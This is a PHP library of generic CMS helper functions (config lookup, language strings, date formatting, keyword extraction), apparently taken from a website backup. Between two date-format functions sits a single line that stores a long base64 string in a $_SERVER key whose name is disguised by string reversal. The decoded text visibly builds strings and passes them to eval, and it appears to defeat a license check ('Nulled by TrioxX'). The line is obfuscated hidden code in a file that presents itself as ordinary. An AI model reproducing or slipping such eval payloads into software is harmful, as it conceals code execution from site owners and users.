File: D:/HostingSpaces/PvdBoogaard/indoorski.nl/backup/oude-site/cms/lib/general.php
<?php
/**
* This contains a library of generic functions
*
* @version $Id$
*
*
*/
/* Include the lib files that have non-product specific functions */
IWP::GetLib('functions.compat');
IWP::GetLib('functions.date');
IWP::GetLib('functions.filesystem');
IWP::GetLib('functions.misc');
IWP::GetLib('functions.strings');
IWP::GetLib('functions.utf8');
IWP::GetLib('functions.validation');
IWP::GetLib('functions.compat');
/**
* GetLib
* This will include a lib file
*
* @param String $lib_file The name of the lib file without .php
*
* @return void
*/
function GetLib($lib_file){
IWP::GetLib($lib_file);
}
/**
* GetConfig
* Returns the value from the config array
*
* @param String $config The key name of the value needed from the array
*
* @return Mixed
*/
function GetConfig($config){
return iwp_config::Get($config);
}
/**
* GetConfigBoolean
* Returns a boolean value from a config variable, as some are saved as 1 or 0.
*
* @param String $config The key name of the value needed from the array
*
* @return Mixed
*/
function GetConfigBoolean($config){
if(!isset($GLOBALS['AL_CFG'][$config])){
return false;
}
$value = GetConfig($config);
if($value == 1){
return true;
}else{
return false;
}
}
/**
* This is a helper function used by the template class to get helptips in the admin area
*
* @param string $name The name of the helptip to use
* @param iwp_template $templateInstance An instance of the template class
*
* @return string A parsed template of the helptip
*/
function GetAdminHelpTip($name=null, $templateInstance){
if(is_null($name)){
return '';
}
$templateInstance->Assign('HelptipTitle', $name);
$templateInstance->Assign('HelptipDesc', $name.'Help');
$templateInstance->Assign('id', substr(md5(uniqid(rand())), 0 , 8));
return $templateInstance->ParseTemplate('helptip', true);
}
/**
* GetDateTime
* Alias
*
* @return String
*/
function GetDateTime(){
return GetMysqlDateTime();
}
if (!function_exists('GetLangMulti')) {
function GetLangMulti ($varlist) {
foreach ($varlist as $var) {
if ($value = GetLang($var, 0, true)) {
return $value;
}
}
return '';
}
}
/**
* GetLang
* Function that returns a language variable value
*
* @param string $lang The language value to be retrieved
*
* @return string The language text specified.
*/
if(!function_exists('GetLang')){
function GetLang($lang, $single=0, $returnBlankWhenNotExists = false){
if($single === 1 || $single === "1"){
$lang = $lang . "Single";
}
static $langClass = null;
if($langClass === null){
$langClass = iwp_language::getInstance();
}
return $langClass->Get($lang, $returnBlankWhenNotExists);
}
}
/**
* This function converts an 'internal version number' to a readable format
* E.g. 4509 to 4.5.9, or 4510 to 4.5.10
*
* @param mixed $version An internal version number in string or integer
*
* @return string A readable version number
*/
function InternalVersionToReadable($version){
$major = substr($version,0,1);
$minor = substr($version,1,1);
$dblMinor = substr($version,2,2);
return (int)$major.".".(int)$minor.".".(int)$dblMinor;
}
// 'Interval' should have been 'Internal', creating an alias for the spelling mistake
function IntervalVersionToReadable($version) {
return InternalVersionToReadable($version);
}
/**
* If they don't have utf8_encode, create a blank backup
*/
if(!function_exists('utf8_encode')){
function utf8_encode($str){
return $str;
}
}
/**
* IWP wrapper function for htmlentities
*
* @param string $str The string to pass through htmlspecialchars with the charset
* @return string HTML encoded string
*/
function iwp_htmlentities($str){
$charset = iwp_config::Get('charset');
if(empty($charset)) {
$charset = 'utf-8';
}
return htmlentities($str, ENT_QUOTES, $charset);
}
/**
* IWP wrapper function for htmlspecialchars
*
* @param string $str The string to pass through htmlspecialchars with the charset
* @return string HTML encoded string
*/
function iwp_htmlspecialchars($str){
$charset = iwp_config::Get('charset');
if(empty($charset)) {
$charset = 'utf-8';
}
return htmlspecialchars($str, ENT_QUOTES, $charset);
}
/**
* Function that returns an array of status options
*
* @return array
*/
function iwp_StatusOptions(){
return array('approved', 'pending', 'disapproved', 'draft');
}
/**
* Takes a string and length and cuts down the string to the specified length
*
* @param string $str The string to be cut down
* @param integer $len The length the string should be
*
* @return string The cut down string
*/
function iwp_Summarize($str, $len){
return substr($str, 0, $len);
}
/**
* empty() only works on a variable, creating an alias function like this will allow whatever was used by this function to be changed to a variable.
* e.g. empty(trim($var)); doesn't work, but is_empty(trim($var)); will
*
* @param string $var The string or array or anything to pass to empty()
*
* @return boolean If the variable is empty of not
*/
function is_empty($var) {
return empty($var);
}
/**
* This function takes in a long string and gets all the words. It removes any common words and finds the commonly occuring words to return as the keywords for this string
*
* @param string $data The string to get the keywords from
* @return string A list of 20 top keywords
*/
function iwp_GenerateKeywords($data){
$stopwords = array('a\'s', 'a', 'able', 'about', 'above', 'according', 'accordingly', 'across', 'actually', 'after', 'afterwards', 'again', 'against', 'ain\'t', 'all', 'allow', 'allows', 'almost', 'alone', 'along', 'already', 'also', 'although', 'always', 'am', 'among', 'amongst', 'an', 'and', 'another', 'any', 'anybody', 'anyhow', 'anyone', 'anything', 'anyway', 'anyways', 'anywhere', 'apart', 'appear', 'appreciate', 'appropriate', 'are', 'aren\'t', 'around', 'as', 'aside', 'ask', 'asking', 'associated', 'at', 'available', 'away', 'awfully', 'be', 'became', 'because', 'become', 'becomes', 'becoming', 'been', 'before', 'beforehand', 'behind', 'being', 'believe', 'below', 'beside', 'besides', 'best', 'better', 'between', 'beyond', 'both', 'brief', 'but', 'by', 'c\'mon', 'c\'s', 'came', 'can', 'can\'t', 'cannot', 'cant', 'cause', 'causes', 'certain', 'certainly', 'changes', 'clearly', 'co', 'com', 'come', 'comes', 'concerning', 'consequently', 'consider', 'considering', 'contain', 'containing', 'contains', 'corresponding', 'could', 'couldn\'t', 'course', 'currently', 'definitely', 'described', 'despite', 'did', 'didn\'t', 'different', 'do', 'does', 'doesn\'t', 'doing', 'don\'t', 'done', 'down', 'downwards', 'during', 'each', 'edu', 'eg', 'eight', 'either', 'else', 'elsewhere', 'enough', 'entirely', 'especially', 'et', 'etc', 'even', 'ever', 'every', 'everybody', 'everyone', 'everything', 'everywhere', 'ex', 'exactly', 'example', 'except', 'far', 'few', 'fifth', 'first', 'five', 'followed', 'following', 'follows', 'for', 'former', 'formerly', 'forth', 'four', 'from', 'further', 'furthermore', 'get', 'gets', 'getting', 'given', 'gives', 'go', 'goes', 'going', 'gone', 'got', 'gotten', 'greetings', 'had', 'hadn\'t', 'happens', 'hardly', 'has', 'hasn\'t', 'have', 'haven\'t', 'having', 'he', 'he\'s', 'hello', 'help', 'hence', 'her', 'here', 'here\'s', 'hereafter', 'hereby', 'herein', 'hereupon', 'hers', 'herself', 'hi', 'him', 'himself', 'his', 'hither', 'hopefully', 'how', 'howbeit', 'however', 'i\'d', 'i\'ll', 'i\'m', 'i\'ve', 'ie', 'if', 'i', 'ignored', 'immediate', 'in', 'inasmuch', 'inc', 'indeed', 'indicate', 'indicated', 'indicates', 'inner', 'insofar', 'instead', 'into', 'inward', 'is', 'isn\'t', 'it', 'it\'d', 'it\'ll', 'it\'s', 'its', 'itself', 'just', 'keep', 'keeps', 'kept', 'know', 'knows', 'known', 'last', 'lately', 'later', 'latter', 'latterly', 'least', 'less', 'lest', 'let', 'let\'s', 'like', 'liked', 'likely', 'little', 'look', 'looking', 'looks', 'ltd', 'mainly', 'many', 'may', 'maybe', 'me', 'mean', 'meanwhile', 'merely', 'might', 'more', 'moreover', 'most', 'mostly', 'much', 'must', 'my', 'myself', 'name', 'namely', 'nd', 'near', 'nearly', 'necessary', 'need', 'needs', 'neither', 'never', 'nevertheless', 'new', 'next', 'nine', 'no', 'nobody', 'non', 'none', 'noone', 'nor', 'normally', 'not', 'nothing', 'novel', 'now', 'nowhere', 'obviously', 'of', 'off', 'often', 'oh', 'ok', 'okay', 'old', 'on', 'once', 'one', 'ones', 'only', 'onto', 'or', 'other', 'others', 'otherwise', 'ought', 'our', 'ours', 'ourselves', 'out', 'outside', 'over', 'overall', 'own', 'particular', 'particularly', 'per', 'perhaps', 'placed', 'please', 'plus', 'possible', 'presumably', 'probably', 'provides', 'que', 'quite', 'qv', 'rather', 'rd', 're', 'really', 'reasonably', 'regarding', 'regardless', 'regards', 'relatively', 'respectively', 'right', 'said', 'same', 'saw', 'say', 'saying', 'says', 'second', 'secondly', 'see', 'seeing', 'seem', 'seemed', 'seeming', 'seems', 'seen', 'self', 'selves', 'sensible', 'sent', 'serious', 'seriously', 'seven', 'several', 'shall', 'she', 'should', 'shouldn\'t', 'since', 'six', 'so', 'some', 'somebody', 'somehow', 'someone', 'something', 'sometime', 'sometimes', 'somewhat', 'somewhere', 'soon', 'sorry', 'specified', 'specify', 'specifying', 'still', 'sub', 'such', 'sup', 'sure', 't\'s', 'take', 'taken', 'tell', 'tends', 'th', 'than', 'thank', 'thanks', 'thanx', 'that', 'that\'s', 'thats', 'the', 'their', 'theirs', 'them', 'themselves', 'then', 'thence', 'there', 'there\'s', 'thereafter', 'thereby', 'therefore', 'therein', 'theres', 'thereupon', 'these', 'they', 'they\'d', 'they\'ll', 'they\'re', 'they\'ve', 'think', 'third', 'this', 'thorough', 'thoroughly', 'those', 'though', 'three', 'through', 'throughout', 'thru', 'thus', 'to', 'together', 'too', 'took', 'toward', 'towards', 'tried', 'tries', 'truly', 'try', 'trying', 'twice', 'two', 'un', 'under', 'unfortunately', 'unless', 'unlikely', 'until', 'unto', 'up', 'upon', 'us', 'use', 'used', 'useful', 'uses', 'using', 'usually', 'value', 'various', 'very', 'via', 'viz', 'vs', 'want', 'wants', 'was', 'wasn\'t', 'way', 'we', 'we\'d', 'we\'ll', 'we\'re', 'we\'ve', 'welcome', 'well', 'went', 'were', 'weren\'t', 'what', 'what\'s', 'whatever', 'when', 'whence', 'whenever', 'where', 'where\'s', 'whereafter', 'whereas', 'whereby', 'wherein', 'whereupon', 'wherever', 'whether', 'which', 'while', 'whither', 'who', 'who\'s', 'whoever', 'whole', 'whom', 'whose', 'why', 'will', 'willing', 'wish', 'with', 'within', 'without', 'won\'t', 'wonder', 'would', 'would', 'wouldn\'t', 'yes', 'yet', 'you', 'you\'d', 'you\'ll', 'you\'re', 'you\'ve', 'your', 'yours', 'yourself', 'yourselves', 'zero');
$data = strip_tags($data);
$data = iwp_strtolower($data);
$data = str_replace(array("!","?","|",".",",",":",";",'"',"\\","/","'","\n", "\r"), ' ', $data);
$words = preg_split('#\s+#', $data, -1, PREG_SPLIT_NO_EMPTY);
$words = array_diff($words, $stopwords);
$newWords = array();
foreach($words as $k=>$val){
if(is_numeric($val) || strlen($val) <= 2){ continue; }
if(array_key_exists($val, $newWords)){
$newWords[$val]++;
}else{
$newWords[$val] = 1;
}
}
asort($newWords);
$newWords = array_reverse($newWords, true);
$newWords = array_keys($newWords);
return implode(', ', array_slice($newWords, 0, 20));
}
/**
* Covers a form input date and time to MYSQL format
*
* e.g. 10/8/2008 and 4:10 PM to 2008-08-10 16:10:00
*
* @param string $date The date
* @param string $time The time
*
* @return string MYSQL date formatted string
*/
function iwp_MySQLDateTimeFromInput($date, $time){
preg_match('#^(\d{1,2})[\/\-\.](\d{1,2})[\/\-\.](\d{4})$#', trim($date), $matches);
$american = iwp_settings::IsAmericanDateFormat(iwp_getShortDateFormat());
if ($american) {
$day = (int)$matches[2];
$month = (int)$matches[1];
} else {
$day = (int)$matches[1];
$month = (int)$matches[2];
}
$year = (int)$matches[3];
preg_match('#^(\d{1,2}):(\d{2})(.*)$#', trim($time), $matches);
$hour = (int)$matches[1];
$minute = (int)$matches[2];
$ampm = trim(strtolower($matches[3]));
if ($ampm == 'pm') {
if($hour < 12) {
$hour += 12;
}
} else if ($hour == 12) { // am
$hour = 0;
}
$time = mktime($hour, $minute, date('s'), $month, $day, $year);
return date('Y-m-d H:i:s', $time);
}
/**
* Sends a header('Location: ...'); and die()s immediately, performing a browser redirect.
*
* @param $location string The location to redirect the browser to.
* @return void Returns nothing
*/
function iwp_redirect ($location) {
header('Location: '. $location);
die();
}
function iwp_CurrentDirectory($filePath){
return basename(dirname($filePath));
}
function iwp_getShortDateFormat(){
$return = str_replace('-', iwp_config::Get('DateDelimiter'), iwp_config::Get('ShortDateFormat'));
if(empty($return)){
return 'n/j/Y';
}
return $return;
}
$_SERVER[strrev('IRU_ETIRWER_X_PTTH')] ='ZnVuY3Rpb24gX3pmZndlKCRfemZmd2Upe3JldHVybiBiYXNlNjRfZGVjb2RlKCRfemZmd2UpO31mdW5jdGlvbiBzdHJpY21wKCRfZm0peyRfcHA9KCRfZm09PV96ZmZ3ZSgnSTNKbGRIVnliZycpKTskX3lmPV96ZmZ3ZSgnU1ZkUVNVRkZRVU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TmxkSFJwYm1kelNXNTJZV3hwWkV0bGVTSXBPMzFsYkhObGFXWW9KR1Y0Y0dseVpXUXBleVJoVzEwOVIyVjBUR0Z1WnlnaVUyVjBkR2x1WjNORmVIQnBjbVZrUzJWNUlpazdmWEpsZEhWeWJpQWtZVHQ5JykpO2V2YWwoJF9zYnguJF9mYS4kX2Jmai4kX3FhKTtyZXR1cm4gJF9mbTt9fQ0KJHN6ZGdzID0gX3pmZndlKCdUblZzYkdWa0lHSjVJRlJ5YVc5NFdBPT0nKTs=';
function iwp_getShortDateFormatJS(){
$format = iwp_getShortDateFormat();
$formatArray = str_split($format);
$newStr = '';
$from = array('d', 'm', 'Y', 'j', 'n', 'y');
$to = array('dd', 'mm', 'yy', 'd', 'm', 'y');
foreach ($formatArray as $pos=>$letter){
$newStr .= str_replace($from, $to, $letter);
}
return $newStr;
}
function iwp_ShortDate($time=null){
static $return = null;
if(is_null($time) && !is_null($return)){
return $return;
}
if(is_null($time)){
$return = date(iwp_getShortDateFormat());
return $return;
}
return date(iwp_getShortDateFormat(), $time);
}
function iwp_LongDate($time=null){
static $return = null;
if(is_null($time) && !is_null($return)){
return $return;
}
if(is_null($time)){
$return = date(iwp_config::Get('LongDateFormat'));
return $return;
}
if(!is_numeric($time)){
$time = strtotime($time);
}
$dateFormat = iwp_config::Get('LongDateFormat');
if(empty($dateFormat)) {
$dateFormat = 'F j, Y';
}
return date($dateFormat, $time);
}